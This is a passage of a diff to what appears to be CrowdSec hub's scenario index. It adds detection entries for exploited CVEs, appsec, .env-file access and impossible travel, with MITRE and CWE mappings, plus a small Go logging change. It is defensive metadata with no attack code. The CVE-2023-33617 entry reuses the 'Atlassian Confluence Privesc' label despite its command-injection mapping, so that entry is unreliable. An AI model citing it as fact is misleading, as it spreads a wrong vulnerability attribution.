+ "cves": [
+ "CVE-2022-46169"
+ ],
+ "cwes": [
+ "CWE-74",
+ "CWE-77",
+ "CWE-78",
+ "CWE-863"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2023-20198": {
+ "name": "crowdsecurity/vpatch-CVE-2023-20198",
+ "description": "Detect CVE-2023-20198 exploits ",
+ "label": "CISCO IOS XE account creation (CVE-2023-20198)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2023-20198"
+ ],
+ "cwes": [
+ "CWE-287"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2023-22515": {
+ "name": "crowdsecurity/vpatch-CVE-2023-22515",
+ "description": "Detect CVE-2023-22515 exploits ",
+ "label": "Atlassian Confluence Privesc (CVE-2023-22515)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2023-22515"
+ ],
+ "cwes": [
+ "CWE-284"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2023-24489": {
+ "name": "crowdsecurity/vpatch-CVE-2023-24489",
+ "description": "Detect CVE-2023-24489 exploits ",
+ "label": "Citrix ShareFile RCE (CVE-2023-24489)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2023-24489"
+ ],
+ "cwes": [
+ "CWE-284"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2023-33617": {
+ "name": "crowdsecurity/vpatch-CVE-2023-33617",
+ "description": "Detect CVE-2023-33617 exploits ",
+ "label": "Atlassian Confluence Privesc (CVE-2023-33617)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2023-33617"
+ ],
+ "cwes": [
+ "CWE-78"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2023-34362": {
+ "name": "crowdsecurity/vpatch-CVE-2023-34362",
+ "description": "Detect CVE-2023-34362 exploits ",
+ "label": "MOVEit Transfer - Remote Code Execution (CVE-2023-34362)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2023-34362"
+ ],
+ "cwes": [
+ "CWE-89"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2023-3519": {
+ "name": "crowdsecurity/vpatch-CVE-2023-3519",
+ "description": "Detect CVE-2023-3519 exploits ",
+ "label": "Citrix RCE (CVE-2023-3519)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2023-3519"
+ ],
+ "cwes": [
+ "CWE-94"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2023-38205": {
+ "name": "crowdsecurity/vpatch-CVE-2023-38205",
+ "description": "Detect CVE-2023-38205 exploits ",
+ "label": "Adobe ColdFusion access control bypass (CVE-2023-38205)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2023-38205"
+ ],
+ "cwes": [
+ "CWE-284"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2023-40044": {
+ "name": "crowdsecurity/vpatch-CVE-2023-40044",
+ "description": "Detect CVE-2023-40044 exploits ",
+ "label": "WS_FTP .NET deserialize RCE (CVE-2023-40044)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2023-40044"
+ ],
+ "cwes": [
+ "CWE-502"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2023-42793": {
+ "name": "crowdsecurity/vpatch-CVE-2023-42793",
+ "description": "Detect CVE-2023-42793",
+ "label": "JetBrains Teamcity auth bypass (CVE-2023-42793)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2023-42793"
+ ],
+ "cwes": [
+ "CWE-288"
+ ]
+ },
+ "crowdsecurity/vpatch-CVE-2023-50164": {
+ "name": "crowdsecurity/vpatch-CVE-2023-50164",
+ "description": "Detect CVE-2023-50164 exploits ",
+ "label": "Apache Struts2 (CVE-2023-50164)",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http",
+ "cves": [
+ "CVE-2023-50164"
+ ],
+ "cwes": [
+ "CWE-552"
+ ]
+ },
+ "crowdsecurity/vpatch-env-access": {
+ "name": "crowdsecurity/vpatch-env-access",
+ "description": "Detect access to .env files",
+ "label": "Access to .env file",
+ "behaviors": [
+ "http:scan"
+ ],
+ "mitre_attacks": [
+ "TA0043:T1595",
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http"
+ },
"Dominic-Wagner/vaultwarden-bf": {
"name": "Dominic-Wagner/vaultwarden-bf",
"description": "Detect vaultwarden bruteforce",
@@ -927,6 +1364,21 @@
"CVE-2021-44228"
]
},
+ "crowdsecurity/appsec-vpatch": {
+ "name": "crowdsecurity/appsec-vpatch",
+ "description": "Detect appsec attacks",
+ "label": "appsec blocked",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0006:T1110"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http"
+ },
"crowdsecurity/asterisk_bf": {
"name": "crowdsecurity/asterisk_bf",
"description": "Detect asterisk user bruteforce",
@@ -1337,6 +1789,32 @@
"cti": true,
"service": "cpanel"
},
+ "crowdsecurity/crowdsec-appsec-inband": {
+ "name": "crowdsecurity/crowdsec-appsec-inband",
+ "description": "IP has triggered multiples In Band CrowdSec appsec rules",
+ "label": "Triggered multiple inband CrowdSec appsec rules",
+ "behaviors": [
+ "http:exploit"
+ ],
+ "mitre_attacks": [
+ "TA0001:T1190"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "http"
+ },
+ "crowdsecurity/crowdsec-appsec-outofband": {
+ "name": "crowdsecurity/crowdsec-appsec-outofband",
+ "description": "IP has triggered more than 5 CrowdSec Out Of Band Waap rules",
+ "label": "IP HAS Triggered More Than 5 Crowdsec OUT OF Band Waap Rules",
+ "behaviors": [],
+ "mitre_attacks": [],
+ "confidence": 0,
+ "spoofable": 0,
+ "cti": true,
+ "service": null
+ },
"crowdsecurity/dovecot-spam": {
"name": "crowdsecurity/dovecot-spam",
"description": "detect errors on dovecot",
@@ -1959,6 +2437,32 @@
"cti": true,
"service": "http"
},
+ "crowdsecurity/impossible-travel-user": {
+ "name": "crowdsecurity/impossible-travel-user",
+ "description": "impossible travel user",
+ "label": "Impossible travel",
+ "behaviors": [],
+ "mitre_attacks": [
+ "TA0003:T1078"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "authentication"
+ },
+ "crowdsecurity/impossible-travel": {
+ "name": "crowdsecurity/impossible-travel",
+ "description": "impossible travel",
+ "label": "Impossible travel",
+ "behaviors": [],
+ "mitre_attacks": [
+ "TA0003:T1078"
+ ],
+ "confidence": 3,
+ "spoofable": 0,
+ "cti": true,
+ "service": "authentication"
+ },
"crowdsecurity/iptables-scan-multi_ports": {
"name": "crowdsecurity/iptables-scan-multi_ports",
"description": "ban IPs that are scanning us",
diff --git a/update.go b/update.go
index 542258f59f1..75599d676be 100644
--- a/update.go
+++ b/update.go
@@ -62,7 +62,7 @@ func updateIndex(configType string, idx map[string]map[string]typeInfo, tmpIdx m
var tInfo typeInfo
hubName, err := tInfo.generate(filepath, configType)
if err != nil {
- fmt.Printf("skipping '%s' because : %s\n", filepath, err.Error())
+ fmt.Printf("skipping '%s' for update because : %s\n", filepath, err.Error())
} else {
idx[configType][hubName] = tInfo
}